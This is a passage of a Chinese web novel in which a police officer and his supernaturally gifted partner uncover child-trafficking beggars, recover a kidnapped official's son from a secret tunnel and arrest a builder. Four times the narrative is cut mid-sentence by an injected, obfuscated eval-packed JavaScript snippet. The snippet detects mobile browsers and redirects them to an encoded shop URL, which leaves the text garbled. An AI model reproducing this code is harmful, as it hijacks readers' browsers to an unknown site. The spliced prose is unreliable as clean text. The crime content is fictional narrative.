春渐满看着匆匆离开的身影,心里却没半点底,毕竟,比起常年存在的乞讨者,那个不知道是哪位大人家的孩子更重要。 一般情况下,都会选择先去救孩子,而不是看起来一点危险和危害都没有的乞讨者。 但出乎春渐满的意料,警察满脸喜色地跑了回来,身后还跟着几个年轻力壮的小刑警。 “春警官,我们走!” “好!我来开车,你们后面跟上。”春渐满虽然对这边不熟悉,但对怎么去北顺街425号却很熟悉了。 “今天晚上的行动,全员都听春警官的,听到了吗?” “是!”齐刷刷的声音安了春渐满的心。 一路上春渐满开得飞快,得亏跟在后面的车手技术也很好,一路飘到北顺街425号,坐在车上的人却没有一个晕车的,显然身体素质都极好。 “全员待命,你们两个留在车上,其余人跟我走这边,从后门进去,动作要轻,速度要快!”春渐满挥了挥手,一众人训练有素脚步放轻跟在了春渐满后面。 独孤尽在屋里等的都快睡着了,可他实在是不能睡,否则那一竿子人都要抽空找了机会溜进来。 “你们总算来了,快,冰柜里的冰都要化了,赶紧把东西都搬走。”独孤尽半打着哈欠走过来迎接众人。 大家看到独孤尽也没太意外,直接把他当成了自己人。 那冰柜里藏了太多东西,也没好好密封,有的就用黑袋子兜起来打了个结了事,有的则甚至掩饰都不掩饰,直接用透明袋子装了完事。 不过,他们好歹知道透明袋子压底下,黑袋子放上面掩饰,实在有人进来,也会被说成是买的冻肉。 况且,也没人会进这屋子,都是一群乞丐住的,谁会乐意进去呢? 要是被讹诈了,有嘴都说不清。 且,这些人的面相看起来都不是好相与的,就算真有人不长眼,进去了,也不见的能全须全尾的出来。 纵使是一直在一线的刑警,刚进队没几年的这些年轻人根本就没接触过这么大的案子,可能尸体见过几具,残忍的也见过一些,但这回见的不是尸体,反而比尸体更让人难以接受。 恐怕得有好一段时间没法进荤腥了。 “队长……这,这是小孩子的啊……他们怎么能下的了手……”有一袋子东西过于清晰,那大小一看就不是成年人的。 近些年在街上乞讨的孩童少了,毕竟孩童在街上乞讨可是会引起不必要的注意,但在网上,直播中,这种可不少见。 “先带回去,有什么话回去再说,动作快点,还有个孩子要找呢。” “他的孩子就是孩子,别人的孩子就不是孩子吗?”有小警察冒出了一句,立马被身边的队友打了一记。 “废话什么,快点。” 春渐满招呼了独孤尽一起动手,独孤尽不情不愿,他实在不想动手,他长这么大可还没干过这种苦力活。 “还要不要跟我约会了?”春渐满瞪了他一眼,独孤尽立马把嘴咧到了耳根,“是,春警官!保证完成任务!” 独孤尽加入,搬起东西来可就是事半功倍了,这可是在他的“怪奇诊所”范围内,他能作弊用自己的能力把东西变轻,更快地运到车上。 只是稍微看了一眼,这些警察就发现了拥在前面有些疯魔的人,看起来不太正常,在用水管浇着这栋屋子。 也不知道在浇个什么,这屋子也没长爬山虎。 “回队!” 这次行动太过顺利,独孤尽刚想跟着春渐满上车,就被春渐满踹了下去,“你在这边善后,这些人一个都不能跑。” “不是,你什么意思,这些人不能跑你们干嘛不都拷回去啊?!”独孤尽想不通了,人他都给困在这了,怎么让这边片区的警察抓个人这么困难。 证据都是充足的,难道还需要什么手续吗?! “没车,没人手,有个重要的孩子丢了,派不出车也派不出足够的人来扣人,我先去帮他们把孩子找到,这边就交给你了。”春渐满长话短说跟独孤尽交代了一下。 旋即,他毫不留情直接关上了车门,这些肢体离开了冰柜,需要尽快送到检验科,不然可就麻烦了。 一车的味道让人作呕,有几人终于忍不住,开了窗透了口气。 “忍一忍,马上到了。”领队的警察安抚了一句。 他跟春渐满不在一个车上,他们这车上全是肢体,太难闻了,春渐满车上要少一些,但他们的车小,估计也很遭罪。 这边离局里不是特别远,整个行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688999|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动还真如春渐满预测的一样,一个多小时就完成了。 这是他们出得最迅速,收获最多的一次任务,比平时调解小区里的杂事都快。 “邵局,我们回来了,这位是春警官,就是那位……”领队的警察跟局长讲了几句,局长立马缓和了脸色,上前跟春渐满握手,“这回真是麻烦你了。” “春警官年轻有为,前途不可限量啊,您看,这个孩子……”邵局为难地看着白板上大家整理出来的线索。 一路上领队警察已经跟春渐满大致讲了这个孩子的事情,这个孩子还真挺重要,是某个高层的孩子,好巧不巧来他们市旅游,这就丢了。 丢了已经有一天了,到现在还生死未知,估计是凶多吉少了,但他们绝对不可能这样回复那位高层。 即便是将心比心,普通人家的孩子丢了,在没找到尸首之前,都只能算失踪,就算凶多吉少,也不会有人去多那个嘴。 希望是个好东西,人人都该有,只有有希望,人才能活下去,才能好好地活下去。 这人是在他们市丢的,事关到他们的治安问题,说大那问题就大了。 “全市的监控都看了,人是在江边失踪的,找人去打捞了吗?”春渐满有一那么一瞬间希望独孤尽在场,他在场,就能去现场,把可疑人排查出来。 但时间过去这么久了,也不知道这个可疑人是否有犯罪心理,愿意回去看看他的杰作。 “晚上打捞不易,我们打算等天一亮就打捞。”虽然即刻开展工作很重要,但如何开展,如何有效开展,也很重要。 那种做样子的事,他不屑干。 “听说,那边一片有个工地在施工,有没有可能把人藏在工地里?”有警察一边翻着手里的资料,一边提出想法。 邵局立马把这个想法写上了白板,春渐满盯着这些字看了会儿,突然开口,“屈队,记不记得你看到的,那个被我留在那边盯着乞丐们的我的……战友?” 春渐满话到嘴边转了几个弯,但眼神却是坚定的。 “记得,那位同志是个能人吧?只凭一人之力就能把那么多乞丐控制住。” “如果借助他的力量,我们会更快找到孩子,不是我夸大,他一人可抵十人。”春渐满说完,转向了邵局,“您看,能不能让一队人去抓那些乞丐,把他换过来,协助?” “真有那么厉害?”邵局相信能人,可不信一人之力能抵十人。 “找孩子又不是靠的武力,靠的是脑子。”春渐满看了眼时间,“如果您同意,我现在就给他打电话,这边的人过去,他过来,节省时间。” “他一走,那些乞丐会不会立马跑了?”屈队很担心,毕竟刚才的异状他也发现了,那些人跟被催眠了一样。 “在一定的范围内没事,我会跟他说的,邵局您看呢?”春渐满只等邵局一声令下。 “麻烦他,协助我们!”铿锵有力而充满希望的声音敲定了一切。 103. 没被沉江 独孤尽接到电话时,还在想办法进一步控制这些乞讨者,虽然各个看着都很可怜,但又实在可恶,独孤尽随意侵入了一个人的精神世界,就了解到了大概的事情。 因为屋里已经没什么好担心破不破坏的了,他就让火龙让开了一条路,那片没有火的地方看起来反而更危险了,充满了诱惑,想让人进去又不敢进去。 “你,进去看看!”左志随手指了一人,他现在威信还在身上,能使唤得动人。 起码不是像万义蒋那样,让人奔赴火海,也就没法拒绝。 这人的腿脚只有一只不方便,但可惜的是,他还缺了一条胳膊,左右不对称的那种,平时干起活来什么都不方便。 走也走不好,要用手的,手也用不好,可现在,他实在没法推脱。 “是。” 屋子两边仍旧火势严峻,恰恰巧大门那儿让了出来,明眼人谁都知道,里面会有危险,但他现在只能做眼盲心瞎的,提了一口气才往里去。 独孤尽足足数了百来个数,这人才走进来。 屋里并不像他们在外面看到的那样,根本没有火焰灼烧的热烫感,反而凉飕飕的,有着秋日里独有的微寒。 这进了屋子的人就像入了虎口一般,任凭外面的人再怎么喊都没反应了。 “不行,你去看看。”左志又点了个人。 “左哥,我,我不敢,里面肯定有情况,我,我还不想死!” 还能在这里的人都是不想死的,那些受不了折辱的,不甘同流合污的,全都已经不在世上了,可在这里的,都是不管经历什么,也想要活下去的。 即便是烂命一条,也想活下去的。 他们怎么可能听从这种一看就是死局的命令。 左志也明白这种困局,可让他像万义蒋以身犯险,他也是不干的。 “这样,我们手牵着手进去,这样,有什么危险外面的人都能第一时间拉你们出来。”左志想了个办法,虽然蠢了点,但手牵在一起,会安定人心。 这样一来,有一部分人首先安心了,那些没有双臂的,或者只有一只手的,都安全了。 “可我们腿不好,需要手才能前进。”那些没了腿但双臂健全的并不想淌这个浑水。 依他们来看,应该让腿好的去,毕竟腿好,才能跑得快。 刚才进去的那一个,可能就是因为他只有一条腿又只有一只手才遇难的。 “你们走慢儿点,最前面的那个人可以用一只手滑板子,后面的人拉着,惯性就能向前,赶紧的,否则今晚我们全部要栽在这儿!”左志看了眼半昏死的万义蒋,也不知道他能不能熬下来。 被独孤尽控制了,像鹌鹑一样缩在一边的那位已经没了意识,可门口处那一连串是独孤尽没料到的。 他吹了声口哨,为首进来的人直接进入了独孤尽专门制造的精神幻境中。 后面的人见他还在往前走,也只能硬着头皮往前,一个接一个,全都落入了独孤尽的网中。 可最后那位是左志,他也想看看,这些人不断往里走,可为什么外面他们问话,没一个人回。 但他也没能把消息传递到外头去,他一踏入独孤尽的区域,就也跟别人一样,陷入了幻境,和其他人一样,排排站,贴着墙蹲下去了。 这也就导致独孤尽接到春渐满电话后,满口答应下来,并跟他邀功,“人我都控制好了,他们来直接进屋抓就行,屋外还有几个,也跑不了。” 屋外留了几个腿脚便利的,可他们也不敢跑,现在管事的一个昏沉不知道能不能活下来,还有一个进了那诡异的屋子就没了下文。 他们倒是想逃,可逃到哪里去呢?他们不是没跑过,可跑过的人,没一个有好下场的,逃的了这里,他们还能逃到天涯海角去吗? 困兽不想再做无谓的挣扎。 独孤尽藏在一边,等到目睹了警方过来,把人一个个都扣住了,才锁定了春渐满的位置,直接瞬移了过去。 他知道春渐满打的这个主意,虽然电话里不方便说。 “春警官,任务已经圆满完成,现在需要我做什么?”独孤尽见到春渐满的时候,脸上都是轻松的笑意。 可春渐满和其他人却不轻松,看到独孤尽这样,只能轻咳了一下,“去工地。” 春渐满把独孤尽拉到一边,唇瓣都快贴到他耳朵上了,声如蚊蚋,“可能跟画给你预示的事有关,高层的孩子最后出现在江边,而江边能藏人的地方就是我们去过的那片工地,很有可能人在那,你能不能用你的能力,去看看工地里有没有藏谁。” 这倒是个好方法,他们要找人,得费劲一寸一寸查找,可独孤尽只要放出“怪奇诊所”,范围内的一切都逃脱不了他的感知。 “工地有可能,但江里也有可能,先看看江里有没有,如果没有,暂且可以排除生命危险,我们再去工地。”独孤尽想了下,之前他们都逛过那片区域,知道江有多大。 “就是,我要是用能力用这么广的范围,可能又要……”独孤尽之前只有一次用过这么广的范围,那次还是为了跟火灾抢人,实在没办法。 这回,只为了寻找一个高层的孩子,实在有点儿…… 虽然在春渐满这里,救一群人和救一个人一样,他都要救,但掺杂里跟独孤尽的个人感情,他也有点儿想要权衡了。 “其实,也不是不能为了那一个孩子,我吃点苦,就是春警官之后是不是得补偿一下我,我跟那孩子可没交情。”独孤尽肩膀贴过去,微低下头,盯着春渐满。 “可以。”春渐满没有犹豫,如果独孤尽要的只是这个他本就甘之如饴的事。 “这么好,春警官这么关心这个孩子,我都要吃他的醋了。”独孤尽有点儿阴阳怪气,可他转头就冲大家露出了个笑脸。 “保证完成任务。” 春渐满也没功夫再跟独孤尽讲私情,带上了几个邵局信得过的人,临时组成了专案小队,他也临时成了这个专案小队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689000|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的队长。 “春队,邵局说了,让我们都听您的,您有什么想说的直管说就是。”有人见春渐满张了好几次嘴都没说些什么,只能上前鼓励他。 可春渐满并不是有命令说不出口,实在是过来的路上,独孤尽一直在大家看不见的角度骚扰他,不是挠挠他的胳膊,就是用膝盖碰他的腿,真有够幼稚的,他忍不住张嘴用口型在骂某个没脸没皮的人。 “你们现在车上待命,等我指示。”春渐满拉着独孤尽往上游走,这是划在这个市的江河段,再往上就是别人的地方了。 “开始吧,我已经备了电解质水,你等会儿不行了跟我说。”春渐满手里拎着个大塑料袋,里面起码有五瓶大桶的电解质水。 “春警官,说话可要负责,什么叫我等会儿不行了,我怎么会不行!”独孤尽抬手指指那沉甸甸的袋子,“你把袋子放下吧,我等等渴了自己喝。” 神思入定,独孤尽深呼吸了几口气,感知了一下周围的人群,确定没人盯着他后,才让气泡涌起,无限往外覆盖,沿着整个江河段。 那些气泡越来越密集,也越来越远,只有独孤尽和春渐满能看见。 独孤尽的脸色也随着范围越来越大难看了起来,额头上布满了细密的汗珠,很快,衣服也开始湿了。 春渐满怕独孤尽着了秋风,拿了纸巾给独孤尽擦汗。 独孤尽握住了春渐满的手,他有点儿颤抖,“等会儿再擦,还差一点。” 他不能分心,虽然在小区域内,他的能力可以发挥到极致,可范围大了,他必须全神贯注。 春渐满想到独孤尽之后可能会昏迷几天,心有点隐隐作痛,私心来讲,他真的不想让独孤尽难受,可这跟人命比起来,他又不得不偏向另一边。 说到底,还是他太依赖独孤尽的能力了,说什么要留在他身边帮他,到最后,却是独孤尽一直在帮他。 “怎么愁眉苦脸的,把水打开,喂我一点。”独孤尽脸色惨白,可唇角却还在上扬,湿漉漉的指尖抚上春渐满的眉心,将皱在一起的眉头抚平。 春渐满愣了一下,赶紧把水拧开,倒在了纸杯里,递到独孤尽嘴边。 独孤尽一连喝了五杯,才算稍微舒坦了点儿。 “想什么呢,春警官,该去工地了,好笑死,人没被沉江,起码没被沉在这片江里。” 其他的警员只觉得自己在车里坐了二十分钟,那边就突然说要换地方。 不过他们的职责就是听从命令。 车开得很稳,独孤尽在车上眯了会儿,被春渐满拍醒,才在春渐满的搀扶下,摇摇晃晃下了车。 夜晚的工地像被黑暗笼罩的巨兽,张着昭示罪恶的大口,好似能把一切活着的生物都吞噬掉。 “里面有人,不止一个,让他们都跟着吧。” 从旁人的角度,他们只看到这个被局长奉为神人的特邀人士在工地前站了那么半分钟,就得出了这么个结论,太神乎其神了,跟假的似的。 104. 硬磕自己的糖 “全部人员就位,注意安全!”春渐满发号施令,他跟独孤尽走在最前面,毕竟有独孤尽这样一个人形导航在,纵使在黑暗中,也畅通无阻。 “动静小点,前面就要踏入他们的区域了。”独孤尽提醒大家,他能察觉到,里面的人似乎还没发现他们,但不能保证这边有没有他们的监控。 “是。”全员神经紧绷,他们轻手轻脚,甚至放轻了呼吸。 可心中疑惑更甚,这走在他们前面的这两位领队,真是悄无声息,要不是能看见他们的影子,都要怀疑这两位是不是人了。 春渐满是因为执行过太多特殊任务,所以练就了这一身本领,而独孤尽自然是靠着那些特殊能力在作弊。 建工工地上并不是平坦大陆,有很多建筑工具残留,要不是独孤尽在前面跟雷达一样告知他们哪里有钢筋,哪里砖块,他们早就磕磕绊绊无数次了。 “来,从这里下去。”独孤尽挥了挥手,大家透过微弱的自然光,勉强能看到那是一条通往地下的通道,瞬时咽了咽口水。 深更半夜,往地下走…… 怎么想都让人毛骨悚然,不过他们是来营救孩子的,身上肩负着重要的责任,必须往前走,往下走。 倒是前面两位半点儿不害怕,步伐还是那么轻巧,这一刻,之前还不太信服的想法已经归零,凭着这份勇敢无畏,他们都该信任这两位。 春渐满和独孤尽可不知道自己身后一众队员心里想的,他们仅仅秉承着高效救人的原则,往伸手不见五指的地下通道而去。 春渐满的手搭在独孤尽肩上,而独孤尽压根不需要光,他通过感知能够把整个构造都印在自己脑子里。 这可苦了跟在后面的队员,他们看不清。 “春队,我们,看不见。”怕前面两人走远了他们跟不上,排在最前面的队员只能小声询问。 “有没有什么办法?”春渐满知道,在别人的地盘冒然用照明用品会很危险,可普通人到底不是独孤尽。 独孤尽那聪明的脑袋瓜只是稍微转动了一下,他就点了点头,“有办法,等会儿。” 他抬了抬手,让“怪奇诊所”内的布局发生了改变。 霎时间,这一片都变得灯火通明。 这是只对这群队员才有用的幻术,能让他们看清这里的路,如同白昼一般看得清楚。 而同在“怪奇诊所”范围内的其他人因为没受到幻术的影响,所以看到的还是原来的情景,独孤尽故意没给春渐满下幻术,他可享受着春渐满扶着他肩膀呢,断然不能因为别的破坏了他曲里拐弯才能磕到的属于自己的糖。 春渐满不笨,他在独孤尽肩膀上掐了一把,“我呢?” “你有我,我来当你的眼睛不好吗?”独孤尽不肯妥协,只是这肩膀上恐怕要青一块了。 “独孤尽!这是在执行任务!”春渐满最看不惯在工作中参杂个人情感。 “难道春警官要把我踢出队伍?”独孤尽这话说的威胁意味十足。 可他吃准了春渐满不会因为这点跟他翻脸,让他别参与行动。 毕竟行动本身,对于春渐满来说,更加重要。 “你还想不想要奖励了?”可春渐满也不是好拿捏的,他的手顺着肩膀抚上了独孤尽的耳廓,轻轻揪到自己嘴边。 独孤尽没想到自己反被威胁了,而且,他真不可能从任务中退出,这种威胁的话只能说来听听,如果他真这么做了,那是和春渐满闹翻了,之后就别想好了。 “行,行,拿你没办法,但我还是要当你的眼睛。”独孤尽伸手扣住春渐满的手腕,牢牢牵住,拽着他往前走。 后面的队员眼睛都看直了,怎么这两位能人的内讧都和旁人不太一样呢? 一路畅通无阻,直到他们行走的狭窄甬道突然变得宽阔起来,面前出现了一扇需要人脸识别的大门。 “小心,别往前走了,有监控。”独孤尽停住了脚步,抬高手臂,让后面的人都停下。 有了独孤尽的幻术帮助,其他人都看清了这里的布局,原本应该掩藏在黑暗中的监控摄像头也暴露在日光下。 “听着,待会儿我数到三个数,门开了,大家就一起往里冲,他们虽然看守着人,但只要出其不意,就会有疏漏,我和你们春队长去营救男孩,你们一定要保证自身的安全!”虽然发号施令的人换成了独孤尽,但没有任何一位队员有异议。 “你打算怎么做?”春渐满不放心,他虽然知道独孤尽的厉害,也知道,如果独孤尽有神兽们相助,都不用他们插手就能把人救出来,可现在的问题是,他们没法借助神兽的力量,只能靠自己。 “我大概知道这个人脸识别机器需要的人脸是谁,等会儿我直接拿块黑布把摄像头蒙了,里面的人一定会在第一时间察觉,这时候我再去扫脸,门开了,他们肯定很慌张,救人时机就正好了。”独孤尽算得很好,就看等会儿能不能按照他预计的进行了。 “别担心,实在不行,我也能用幻术先控制住他们,总能为我们的营救行动拖延时间。”独孤尽安抚地拍了拍春渐满,可没放开他,“你先让我也能看清这里。” 让春渐满一路上都扶着他,基本上也算过瘾了,独孤尽没再拒绝,只不过跟之前施展能力时不一样,他故意捧着春渐满的脸颊,落了个吻在他眼睛上。 “你!”春渐满有些无奈,他只要一想到,现在其他队员都已经能看清东西,就觉得脸上臊得慌。 可下一秒,独孤尽离开,那柔软的触感也没了,他的眼前豁然开朗起来,明亮的光线甚至刺的他眼睛有点睁不开。 “适应一下,或者也可以让我再亲亲你,帮你缓解一下。”独孤尽那双桃花眼里都是笑意,“我说真的,我可以帮你调节光线。” 春渐满眯着眼没好气地捶了独孤尽一记,“不用!” 虽然春渐满拒绝了,但独孤尽也没折磨他,很贴心地帮春渐满把光线调得柔和了些。 “大家都准备好!”独孤尽轻声提醒。 接下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689001|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,蒙摄像头,把自己的脸变成刘老板就变得异常简单。 他其实不想把人往怀里猜,可这工地就是刘老板的产业,难不成柴明知有能力能做这种在人工地里挖秘密地道的事?根本不可能。 这一试,门果真开了,独孤尽的心也凉了一半。 他能跟春渐满这么快就坦诚相待还是因为刘老板的某句话提醒了他,把他脑子里的某些线给连上了。 他还和刘老板签了合同,他们后面可是还有合作的。 就凭借他的直觉,这刘老板也不该是坏人才对。 春渐满因为站在独孤尽身侧,自然是看到了独孤尽变成的那张脸,他的心也跟着沉了下去。 如果刘向荣真的违背了底线,做出了一些需要受到惩罚的事,那他帮独孤尽谈的生意就是笑话。 春渐满没来及在内心进行挣扎,独孤尽就低呵了一声,“都愣着干什么!快走啊!” 先前说得好好的,可这门真开了,队员们还是愣了会儿才在独孤尽的提醒下往里冲。 索性,里面的人比他们更加震惊,有了这个时间差,倒是没耽误正事。 独孤尽能够感知到最年轻的那个孩子所在的位置,他们有人拖着孩子正在转移,孩子身边有两个人,训练有素,起码都挺孔武有力的,拽着孩子还能用那样的速度移动。 独孤尽使用了幻境,在他们撤退的道路上生了一些荆棘出来阻挠,可那些人看到突然长出的荆棘也不在意,直接往前走,身上都被剌了一道道血口子。 孩子倒是因为在中间,没受到什么伤。 即便他们不怕疼,也阻挠了他们前进的速度,独孤尽赶到时,那些人明显吃了一惊,他们把孩子放在最安全的地方,也是离撤退路线最近的地方,就是为了出现意外的时候能够快速转移。 可这人怎么那么熟悉他们的布局,就好像提前知道了一样。 “你,你别过来,你再过来我就对他动手了!”其中一人拿着刀,刀尖对着男孩的脖颈。 他的手倒是不抖,一点儿都没伤到男孩。 “你们头头允许你们杀了他吗?”独孤尽吹了声口哨,“如果杀了他,会有怎么样的后果,你知道的。” “帮人办事,要办得到位,可别领会错了意思,办错了事。”能把人藏在这里这么久都没要他的命,说明,这人本来就不打算要孩子的命。 只是要用这个孩子来做什么。 具体做什么,他想,把孩子弄到自己手里,对方就会告知了。 “你们老板倒是放心,也不在里面弄个摄像头。”独孤尽冲他们笑了笑,往前又走了一步。 其中一人终于受不了了,这种压迫感让他不得不打了个电话,“老板!我们被人围堵了,怎么办?!” “来,把电话给我。”独孤尽朝前伸手,接下来,令人惊悚的一幕出现了。 那手机凭空挣脱了其中一人的手,飘到了独孤尽手中。 “刘老板,过来谈谈违约的事。” 105. 醋劲爆棚 刘向荣攥紧了手机,他的呼吸变得沉重,“违约?” “对,你这绑架了人在这儿,我们和你合作不是与虎谋皮吗?”独孤尽顿了顿,回忆了一下,“我记得合同条款里有这项,企业形象有损的一方属于违约,需要支付……” “你把人给我。”刘向荣没跟独孤尽谈违约的事情,他紧张地恨不能从听筒里钻过去。 “这是谁的孩子,让我猜猜。”独孤尽没理会刘向荣,反正对方也不好好回答他,那他也没必要回应对方。 独孤尽压根不需要费劲去猜这个男孩是谁,只要他想,他可以随时侵入男孩的精神世界去查看。 可他只是端详了一下,就没再多关注男孩了。 原本被当作人质的男孩眼里都是惊恐,他现在脖颈处已经有了一丝血迹,之前绑架他的人对他是极尽小心的,可再小心,在绑匪的手机脱离他那一刻起,就没法再小心了。 刀刃是极其锋利的,而他又从小娇生惯养,别说脖颈那儿的皮肤极其细嫩,就连脚丫子都没茧子,那都是能代步就代步,累了就有人背的。 现在骤然遭受这样的待遇,是他从未想过的。 男孩可怜至极,可他也很聪明,知道自己从小就一直被人保护着,就是因为可能有一天会落入敌人的手里,现下,他遇到了这样的情况,唯一要做的就是保全自己。 他稍微朝旁边侧了侧,让刀刃远离自己的脖颈。 “刘老板这是要跟谁对着干?钱不是那么好赚的,但也不是什么钱都得赚的,这点你应该明白啊。”独孤尽的声音仍旧那么干净,像江边吹来的一缕清风。 刘向荣很喜欢春渐满和独孤尽,跟他们在一起的时候,他觉得自己仿佛回到了年轻的时候,那种纯白的,快乐的时光。 好像什么都只要往上走,往前就好。 可现在,他在向下,他甚至在自己的工地里挖了地道,甚至建造了一个不为人知的阴暗地方。 不过,他并没想过要主动害谁,只是有些人不愿意放过他而已。 他必须反击,只有反击才能保下现在拥有的一切。 “如果我猜的没错,刘老板,你快到了吧。”独孤尽转身朝外面看了看,虽然他们身在地底,根本看不到路面上的情景。 但这些绑架男孩的绑匪却被吓得不轻,着实吓得不轻。 尤其是独孤尽先前那神乎其技的隔空取物。 现在他和他们老板的对话,自然也能听得清清楚楚。 这就更加让人畏惧了。 “你看这样可以不,人我给你们放这了,饶我们一命。”刘向荣还没到,他的手下就已经返水了。 可见,人心,终究还是向着自己的。 独孤尽勾了勾唇角,又对电话那头道,“刘老板,你的人要跑了,怎么办,要不要我帮你看着?” 刘向荣脚下生风,他还有几步就能到通道。 “不回答?不回答那我就擅自作主帮你把人看着了。”独孤尽歉意地朝着他们笑了笑,“你们在做这些事之前就该想过后果,别把什么都赖在别人身上。” “来,你过来。”独孤尽朝男孩招了招手。 男孩现在目不斜视,头也不能转动,他的脚倒是想往前迈,可左右两边的人怎么会放他过去呢? “信我,往前走。”独孤尽鼓励他,脸上的笑容堪称和蔼,不太像他。 春渐满多看了独孤尽几眼,他还从没见过独孤尽这副狼外婆的样子。 男孩鬼使神差还真信了独孤尽,没管身旁两人对他的挟制,往前走了一下,还真能走。 一步、两步、三步…… 他朝着独孤尽跑过去,那么短短几步,他还在中间咳嗽了几声。 原本还在后面跟人火拼的队员看到男孩被顺利解救,手下更不留情了,一个个全给他们拷上了手铐。 “春队,回去吗?”有队员小步上前来悄声问春渐满。 “等会儿,还有人没到。”春渐满很不希望见到刘向荣,可再不想,对方也会来。 来自投罗网。 “怎么不进来?”独孤尽的声音不大,却响彻了整个空间,他不是对着别人,正是对着脚步沉重的刘向荣。 “现在想跑可来不及了,刘老板。” 刘向荣被扣住了,他作为主谋之后不会好过,但临走前,刘向荣还是申请跟独孤尽和春渐满说两句。 “你们救的也不是好人。”刘向荣提醒了一句。 “你是说男孩,还是男孩的家人?”春渐满一针见血。 “他背后的人。” “既然是他背后的人,为什么要牵连无辜之人?”春渐满还是不敢相信自己看错了人,他那双鹰隼般的眼眸死死盯着刘向荣。 这目光倒是让独孤尽不爽了,他挡在两人之间,“干嘛呢,当着我的面这么看别人,我是会明着吃醋的。” “我在这办正事,别胡搅蛮缠。”春渐满拍开独孤尽,独孤尽满脸写着不高兴,“我都帮你把正事全办完了,你说好的奖励呢?还怪我胡搅蛮缠,春警官才是真的不讲道理。” “他既然享受了这一切,就不无辜,就该背负这些风险。”刘向荣不为所动,他觉得自己拿一个小孩开刀没错。 而且,只有抓了那人的孩子,那人才有一星半点儿的可能妥协。 “我没想到你们是警察,但能认识你们,我不后悔。”刘向荣看向两人,继续吐露心声,“务必深入调查,这件事不向表面上那么简单。” “那你倒是直接告诉我们是什么事情啊。”独孤尽最听不得打哑谜,他继续挡住刘向荣的视线,“你把事情告诉我,说不定还能将功折罪。” “这座城市,每天都有人在失踪,尤其是孩子,这些人赚的钱,都跑他口袋里去了……”刘向荣只是说了这么一句,就不愿再说。 有些事情,只要起个头,明白人自然明白。 春渐满和独孤尽对视了一眼,两人都想到了那些乞讨者。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689002|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>难不成,刘向荣倒是在为那些乞讨者求一条生路? 左不过现在乞讨者也好,刘向荣的人也好,男孩也好,都在他们手上。 谁也跑不了。 如果警方让他们直接把男孩放走,他们也不会同意的。 “先回去,有足够的时间让你慢慢交代。”春渐满想拍拍刘向荣的肩膀,可这手还没拍上去,就又被独孤尽扣住了手腕,“说话就说话,干什么动手动脚的。” “你家这位……醋劲这么大。”刘向荣看着独孤尽有些后怕,他可从没想过对春渐满不利,不然这位非得把他剥皮拆骨了不成。 “其实你还算红娘,于情于理,我都该帮忙。”独孤尽咂摸了一下,还是说了句人话。 “要是之后事情解决的顺利,我们的合作不是不能继续。” “不过这个利润得重新算,我可不吃亏。”独孤尽目送刘向荣被押上车,自己也跟着春渐满重新上了车。 “我们帮完忙,估计他们不会让我们呆在局里。”春渐满说出了自己的顾虑。 可独孤尽不是什么要面子的人,“他们不让我们留,也不会明着赶我们走吧,欠我们这么大的人情,他们不好意思,我好意思赖着不走啊。” “只要我不要脸,非要插手他们的事情,总不能把我也扣下吧。”独孤尽说得混不吝,可却是现下最好的办法。 “来吧,你说说,你家是干什么的。”独孤尽终于舍得把男孩嘴上的胶布撕下来了。 男孩那柔嫩的唇周被胶布贴了一段时间已经红肿起来,他只是用舌头顶了顶脸颊就有点儿疼。 “这么疼?脖子上的血都干了,再过会儿伤都要好了,嘴上的这个没办法,不给你摘了一直贴着也受罪。”独孤尽揉了揉男孩的脑袋。 “我,我爸不让我说。”男孩摇了摇头,他听了这么几句已经明白自己家估计惹什么事了,不然对方也不会非要来抓他。 “不说也有办法知道你家做什么的,你自己说还能给我们留点儿好印象,不然等会儿飙车,让你知道什么是生死瞬间。”独孤尽说着说着这嘴就开始恐吓小孩儿了。 春渐满没好气地瞪了独孤尽一眼,“好好问话。” “我又不是你们系统里的,可不能拿你们的那套职业规范来要求我啊。”独孤尽满不在乎把头扭到一边,表示抗议。 男孩到底年纪还小,不经事,被这么一说,就把自家的基本背景情况说了,可这背景一说,春渐满和独孤尽又开始头疼了。 